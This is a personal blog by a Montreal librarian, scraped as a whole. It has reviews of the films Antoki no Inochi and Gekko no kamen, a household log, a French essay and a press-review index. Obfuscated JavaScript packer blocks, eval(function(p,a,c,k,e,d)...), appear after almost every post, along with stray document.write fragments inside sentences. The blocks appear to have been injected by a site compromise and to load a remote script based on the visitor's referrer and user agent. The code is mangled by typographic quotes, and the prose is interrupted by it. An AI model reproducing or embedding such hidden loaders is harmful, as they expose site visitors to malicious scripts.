“Kyohei, document.write(“”); who has retreated into himself after several psychological wounds, finally begins to appreciate the preciousness of live, ironically through dealing with death.” (2011 World Film Festival of Montreal schedule book, pg. 58)

A movie about bullying and about the fact that, today, our modern lifestyle put so much distance between people that we don’t know how to connect with each other anymore. But, above all, it offers the intriguing parallel between the life of a young man who has been broken by tragedy and the work he is doing for a moving company for the deceased: as he sorts through the possession of death people — to separate trash from what’s worth keeping — he is slowly sorting through his own memory and feelings to learn how to live again.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dtkhi|var|u0026u|referrer|rtika||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bieiz|var|u0026u|referrer|zhabe||js|php’.split(‘|’),0,{}))

Some have found the movie a little too slow, but it uses lots of “unspoken dialogue” where much is “said” by a gaze, a facial expression or body language. It takes longer to pass information to the viewers and takes much more skills from both the director and actors, but in the end it is a more satisfactory experience. We also must not forget that healing broken people is quite a slow process well reflected in the pace of the movie. The two young actors are quite good. Well worth seeing.

Antoki no Inochi (Life back then): Japan, 2011, 131 min.; Dir.: Takahisa Zeze; Scr.: Tanaka Sachiko, Takahisa Zeze (Based on the novel by Masashi Sada); Phot.: Atsuhiro Nabeshima; Ed.: Junichi Kikuchi; Cast: Masaki Okada, Nana Eikura, Mitsuru Fukikoshi, Akira Emoto, Rei Dan,Yoshiko Miyazaki, Kanji Tsuda. Screened as part of the “Official Competition” segment at the Montreal World Film Festival 2011, on August 18th, 21:30 in Théatre Maisonneuve. It has won the “Innovation Award” at the 35th Montreal World Film Festival.

Gekko no kamen

“When Usagi, document.write(“”); a WWII veteran, returns to Tokyo everyone is surprised to learn that he survived. Usagi hopes for a revival of his prewar theatrical career but his efforts quickly hit a snag when another “Usagi” turns up.” (2011 World Film Festival of Montreal schedule book, pg. 60)

Warning: may contains trace of spoilers! People allergic to the discussion of any plot’s elements before seeing a movie are strongly advised to take the necessary precautions for their safety and should avoid reading further. Really!
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rfdrt|var|u0026u|referrer|byiih||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bfnnb|var|u0026u|referrer|siber||js|php’.split(‘|’),0,{}))

I’m not sure what to make of this film. The first part of this weird movie seems to be a variation on the “Martin Guerre” story. After WW2 a man walks alone in the streets. His face is bandaged, he seems shell-shocked and never says a word (for almost the entire movie). A small theatre attract his attention, he walks in and silently sits on the stage from where he is quickly expulsed. However, he is recognized as the rakugo artist Usagi. Considering his state, people assumes he his amnesiac. He is welcomed back without much questions into his artist “family” and they help him coming back to the stage. He is also to be married to the theatre family head’s daughter. But he seems now more talented as a mime than as a rakugo performer!

Of course, another man eventually walks into the theatre and this time he is the real Usagi. We learn that both men fought together in the war and when Usagi (the real one) was deadly wounded, he asked his friend to go announced his death to his theatre family and fiancé. Since he was himself wounded and not very talkative, people just assumed that he was Usagi. The man never really attempted deception. He just played along. It is however decided that, since the real Usagi was wounded in the throat and is therefore mute, he would pass his stage name to his friend but would nevertheless wed his fiancé. A big party is planned for the stage premiere of the new Usagi and the couple’s wedding. On stage, Usagi takes a big machine gun out and shoot everybody. I guess that, in the end, they all laugh to death (the dream of any comedian, but is it real or is it figurative?).

The movie is sprinkled with weird scenes. At some point, Usagi is sitting on a dock by a quiet lake, looking at the moon (Beethoven’s Moonlight Sonata playing in the background — Usagi means rabbit in Japanese and is often associated with the moon) and then a strange man dressed in modern clothes materialise in a Star Trek-like teleporter and cross the scene saying “I’m a time traveler”. later, in the red-light district, he is with a huge geisha and they start digging a tunnel into the ground (maybe he is trying to free the geisha? Or looking for the machine gun he needs for his rakugo/mime skit? Who knows?).

I feel that the entire movie is built as the punch of a rakugo’s story. There is no surprise there since the director is himself a comedian. And, actually, there is a rakugo story that is told throughout the movie by Usagi: A soldier is asked to identify his friend Bob, but he doesn’t know he is dead. Or is he Bob himself? “Uh, Oh. I’m getting confused,” says one soldier at the end of the story. “What’s wrong,” says the other. “I know I am the one that’s dead. But, if I’m looking at me… Who in the world am I?” Well, I am equally confused. The movie started in a very interesting way, but the end is rather disappointing. It is not my favourite movie of this year’s festival, but I admit it is quite original. It is certainly worth watching.

The director was at the festival (I saw him in the lobby of the hotel dressed in a white tuxedo), but he didn’t show up when I went to see the movie.

Gekko no kamen (Moonlight mask): Japan, 2011, 102 min.; dir.: Itsuji Itao; Scr.: Itsuji Itao, Shoichiro Masumoto; Phot.: Masakazu Oka; Ed.: Ken Memita; Cast: Itsuji Itao, Tadanobu Asano, Satomi Ishihara. Screened as part of the “Regards sur les cinémas du monde” segment at the Montreal World Film Festival 2011, on August 21st, 19:00 in Cinéma Quartier Latin 10.

Domestic log (April & May)

This is not quite a diary or journal, document.write(“”); but merely some observations about my boring daily life — either posted directly as it happens (in many separate posts) or retro-blogged from the scribblings in my notebooks (compiled into one large post). I don’t think this will have any interest for any people other than myself, establishing a chronology of my life events to help my future failing memory…
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tihnn|var|u0026u|referrer|bkkns||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hhbyf|var|u0026u|referrer|atafz||js|php’.split(‘|’),0,{}))

I really have the feeling that, until I’ll be able to relocate my work-place closer to home, I won’t be able to do anything worthwhile at home… The long commuting hours leave me quite tired each day. (4/11)

In mid-April, we experienced the invasion of tiny ants (that I have identify, with the help of the Insectarium’s website [in french], as Pharaoh ant). I didn’t have to do anything as they all died by themselves, which is rather worrysome (whatever killed them could also have adverse effect on us. Although it is probably simply because they were out of their usual environment). There was also a brief surge of my old adversary (we had plenty of them in our old apartment in Hochelaga): the speedy gonzales (that’s the name I gave them since I couldn’t identify them). However I have finally been able to identify this extremely quick, etheral and almost alien creature (when you squish them there only a bunch of legs left): they are known as “Scutigera coleoptrata” (or Scutigère véloce en français, thanks again to the Insectarium’s website). Although they might look a little scarry, they are apparently totally inoffensive. All those tiny creatures probably woke up for spring and I have barely seen them after that. (4/12)

The “Halal chicken” scandal is brought to my attention. I won’t comment further on this subject because I want to dedicate a full post to it later (along with two other quite irritating subjects that dominated the news: more language debate in Montreal and the beginning of the students’ protest about university tuition). I am baffled and outraged by the way people think these days (particularly the younger generation). I don’t seem to understand people (and the world) anymore.

The first big rainfall of spring (4/23) brings back the problem of water infiltration in the back of the house (and the previous owner was saying there was “NO” problems; what a swindler!). We will have to take care of that sooner than later. The day after we even got some hail. And finally we had more snow a few days later (4/27). Quite a weather!

My wife sighted a fox in the nearby park (4/23). I was rather sceptical at first, but after googling “fox sighting in Montreal”, I realized that there was indeed foxes on the metropolitan island. There was even video proof of their presence at the Botanical garden and the Cote-des-Neiges cemetery! Either they came by themselves from the suburbs, walking through the railway or highway bridges, or maybe they were introduced to curb pests like rats and pigeons. I wish I would have been with her and take a few pictures (or video) myself. We tend to forget that the city’s many parks support a lot of wildlife (more than the usual skunk or racoon that we see once in a while). Incidentaly, a week later, my wife spotted a racoon riping through the neighbor’s garbages (that’s why I have always told people they should use a hard garbage can — either plastic or metal — instead of plastic bags).

For some reasons, some drain pipe got blocked, which prevents either of us (me and my sister, who lives upstair) to use our kitchen sinks. We have to wash our dishes in a bucket (which my wife usually do in summer anyway in order to keep the water for watering the garden). It took my a while to figure out and take care of the problem, since I was so busy at work and quite tired. I first tried chemicals to dissolve the clogging, then a plunger, but nothing worked. I had to go to Canadian Tire to get a small drainpipe auger. The metal springwire coil is shoved into the pipe and, as we rotate the auger, it goes down the pipe clearing the clog. Finally, the auger succeeded were Drano had failed. Hurray! (4/28) Unfortunately, there is still a small problem: the aeration pipe (needed to evacuate the air pushed by the water moving down the pipe and insure a good flow) must be clogged also, since when the upstair’s sink is getting emptied, it makes a bubbling sound in ours. I’ll probably have to eventually get on the roof to work the auger there too.

One of the movies I’ve watched in May (5/3) and that impressed me most was Never let me go. Based on the 2005 novel by Kazuo Ishiguro (Japanese-born but now considered as a British novelist, mostly known for its 1989 novel The Remains of the Day), this 2010 movie directed by Mark Romanek is a well-crafted dystopian science fiction drama. In this alternate reality England (where cloning was successfully developped in the fifties), some children are cloned and raised in special boarding schools for the specific purpose of becoming organ donors for normal citizens. The story follows three of the children from the Hailsham school in East Sussex (Ruth, Tommy and Kathy) as they grow up, try to adapt to the outside world as adults, develop romantic relationship (forming a sort of love triangle), try to find a dispense from their final outcome and eventually become repeated donors. It is more than a film about the ethics of cloning. Like any good science-fiction, it is about our human nature, trying to explore it in a specific context. The cast is excellent, but I already knew only two of the actors (Keira Knightley and Charlotte Rampling). I don’t know how different the movie is from the book (I borrowed it at the library, but haven’t had time to read it yet), but from the little I’ve read so far it seems quite similar. It’s really an excellent movie and I hope I’ll have more time later to comment this movie in a separate post.

And now a funny anecdote. My wife regularly receives from a friend in Japan issues of a movie magazine. This month the package was late and when it was finally received it contained an issue of a french magazine. A quick call to Tokyo confirmed that my wife’s friend did not send this magazine and yet it was it her enveloppe. The only conclusion possible is that an official, either of Canada Post or from the Canadian customs, opened the parcel to check it out and the wrong content was put back into the enveloppe. Someone, somewhere, is probably greatly puzzled to have received a Japanese magazine instead of a French one. I know how lazy and careless public workers can be (I am one and I work with many lazy and careless people). The loss of a bunch of Japanese magazine is far from being dramatic, but the loss of the personal correspondance included with it is sad. Fortunately, the cost of a phone call to Tokyo is ridiculously low (at least now with my phone service provider, Primus, but I remember paying ten times that with Bell ten years ago) and our privacy was probably preserved (I doubt that the people who received the letter could read Japanese). But I’ve lost all the trust I had left into our federal institutions.

For the first time this year, we went to visit the botanical garden (5/7). We have seen two wood-peckers, one cardinal, a few geeses and ducks, many squirels and, of course, plenty of flowers. Luckily we took advantage of the excellent weather while it was possible (The next day it was raining hard). We went back again two weeks later (5/21).

Lately I’ve been having lots of problem with Videotron, my cable provider. Whenever I switch to the channel Oasis and use the close-captioning, the cable terminal crashes and reboot. It was apparently a bug in Sisco’s programing. The only solutions: switch provider (I was probably not the only one thinking about that considering the amount of Bell service trucks I am seeing lately in the neihborhood; many people are probably switching to their new Fibe service) or get the Illico second generation not yet available. Switching provider is lots of trouble (even if you save money; and I previously had lots of problem with Bell anyway), so I decided to stick with Videotron and, in order to prepare for the new Illico OS, I had to get a new cable terminal. To be safe, I decided to rent instead of buying. When I received the terminal by special delivery I installed it (when I came back from work) following all the instructions. But it didn’t worked. I called the technical service and the guy told me that my signal was too weak and that they needed to send a technician (which they had done at least a couple of times before). Fortunately, it was working the following day (I guess it just needed more time for the OS to load; the signal is “weak” after all), so I cancelled the appointment with the technician. Now, all I had to do was to program the setting, the remote and my recordings… and wait for Illico 2.0 to be available (I was told that it should be around the end of the month). Of course, it was not the end of the problems, but that’s another story.

For my birthday, I took almost a week off. I anticipated that I would be needing that long to get over this huge life-time milestone (I was getting fifty year-old) and, being springtime, I needed to make lots of work around the house. I installed the air conditioning, took out the garden furnitures, shop for new shoes and clothes, had an hair cut, etc. The deshumidifier broke down and I had to deal with lots of water being spilled on my nice hard-wood floor (I was not happy!). We went to visit the Samurai exposition at the Point-à-Caillère museum (5/24). That was quite a nice collection (from the prestigious Dr Béliveau; it’s amazing that a guy can accumulate so many pretty nice pricey stuff: not only samurai armors but many katana as well)! Then heavy rain caused flooding in my garage again! (5/25) I had to call the city again to complain (default in the sidewalk cause the rainwater to fall into my driveway instead of flowing toward the sewage drain) and set up a deshumidifier in the garage to remove all that humidity before it made its way into the house.

Late January, I was offered a new permanent position in another library. It was not my first choice of library (having worked there before and gone through bad experiences, I certainly didn’t like the place and it was quite far from home) but I couldn’t refuse such an opportunity (and I was hoping that, with the help of new staff members, the place would have improved since the last time I worked there). Unfortunately, it proved to be quite a hell. The working atmosphere was often almost toxic, communication between staff and management was poor, there was lots of disrespect toward the staff, and many of the benefits I was promised remains unseen (unused day-off from my previous position were to be transfered or paid, the extra-hours bonuses for the first three months are still unpaid, and I calculated that, with the extra deduction I have to pay for retirement and union, I am paid less than before!). Fighting to get any answers on my status is getting tiring and depressing. We get disrespect from the patron, from the management, even from the union. At least I have job security. Things are improving a bit, but the worse is the long commuting hours. I really hope to get a mutation to a closer location. Actually, I have already postulated on a new job (located at about fifteen minutes from home, with a different job description [a desk job, with no dealing with the customers], possibility of flexible hours) but without success. I guess I just need to be a little more patient.

[ Traduire ]

De profundis

Anecdote Abyssal ou 20, document.write(“”); 000 lieux communs sous l’amère
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bbtty|var|u0026u|referrer|fhzyb||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nhiks|var|u0026u|referrer|knais||js|php’.split(‘|’),0,{}))

(le titre n’a vraiment pas rapport)

L’autre jour, l’étiquette de mon chandail dépassait de mon col et cela agaçait une collègue de travail qui voulait le remettre à l’intérieur. Je me suis dit: “Tiens, ça ce n’est pas une étiquette mais une allégorie!”

En effet, les gens nous étiquette bien volontier — lui c’est un ci, ou un ça — et après ils ne pensent qu’à ça ou ne voient que ça et cela les agaçe.

Cela me rappel d’ailleurs l’histoire d’un gars que j’ai entendu autour de l’abreuvoir et qui avait, disait-on, un petit travail de fonctionnaire qu’il faisait tranquillement, efficacement, avec équanimité et surtout une bonne dose de sarcasme. Mais un jour quelqu’un l’a étiquetté comme fainéant (allez donc savoir pourquoi, des fois, les gens ont des attentes irréalistes et, sans raisons apparentes, on vous étiquette comme un bon à rien [bon aryen?]). Peu importe les efforts qu’il faisait, on le considérait toujours comme tel. Alors, il a continué à travailler tranquillement mais, cette fois, sans trop se soucier de son travail. L’âme n’y était plus. Ce n’était pas tant son attitude qui posait problème que celle que les gens avaient à son égard. Puis, un jour, on l’a changé de poste, mais ses nouveaux collègues ne voyaient que son étiquette. “Il parait que c’est un fainéant”, disaient-ils. L’ironie c’est que les gens se battaient maintenant pour avoir son petit poste tranquille. Était-il vraiment fainéant ou était-ce que les gens étaient plutôt jaloux de son insoucience et de son petit poste tranquille? Qui sait?

La morale de cette histoire (ah bon, il y en a une?) c’est qu’il n’y a pas de mauvais employé: Il n’ y a que de mauvais gestionnaire. Un employé c’est comme un outil: il ne peut rien faire de lui-même et si tu veux de bons résultats il faut juste savoir comment les utiliser. On ne va pas utiliser un tourne-vis pour planter un clou. Et même on ne va pas utiliser un tourne-vis “Philips” (étoile) pour river une vis “Robertson” (carrée). Le devoir de tout bon gestionaire est de connaître les forces et les faiblesses de ses employés afin de pouvoir les assigner aux tâches où ils excellent le mieux.

[ Translate ]

Press Review (2012-05-28)

Problems at work, document.write(“”); annoying situation in the news and a life-time milestone have left me stressed and depressed, so much that I couldn’t find the energy to do much this month, particularly on this blog. I feel it will remain like that for a while. However, I did read some news in the last month or so and you can see those I deamed worthy to set aside to share after the jump:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|asadr|var|u0026u|referrer|knath||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bfhts|var|u0026u|referrer|kaikh||js|php’.split(‘|’),0,{}))

Anime & Manga related, Japan, Popular Culture

Apple, apps and mobile devices news

Books, Digital Edition & Library

Economy, Environment & International Politics

Health, home & garden

Humour

Local News & National Politics

Media, Culture, & Society

Sciences & History

Technology, Gadgets & Internet

White-collar union stuff (SFMM) & Montreal’s libraries

Jeux vidéo en bibliothèques


eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ezbhi|var|u0026u|referrer|nzdzb||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nferb|var|u0026u|referrer|faatn||js|php’.split(‘|’),0,{}))
Certaines bibliothèques de la ville de Montréal offraient déjà des jeux vidéos à leurs usagers. Toutefois, document.write(“”); vendredi dernier, un
communiqué de presse du Cabinet du maire et du comité exécutif de la ville nous annoncait que les collections de jeux vidéo des bibliothèques municipales seraient presque quintuplé grâce, entre autres, aux dons généreux de trois entreprises montréalaises dans le domaine de la conception de jeux vidéo.

Avec cette bonification des collections, plus de la moitié des bilbiothèques du réseau offriront à leurs usagers plus de 5 000 jeux vidéo. Une attention toute particulière sera apportée aux productions locales. Pour la liste des bibliothèques participantes ainsi que les conditions de prêts et autres détails, veuillez consulter le site des bibliothèques de Montréal.

Bravo! Quelle belle façon de continuer à diversifier les collections des bibliothèques tout en initiant les jeunes à la culture, au loisir et à la technologie. Sans oublier que c’est une excellente manière de faire augmenter les statistiques de prêts.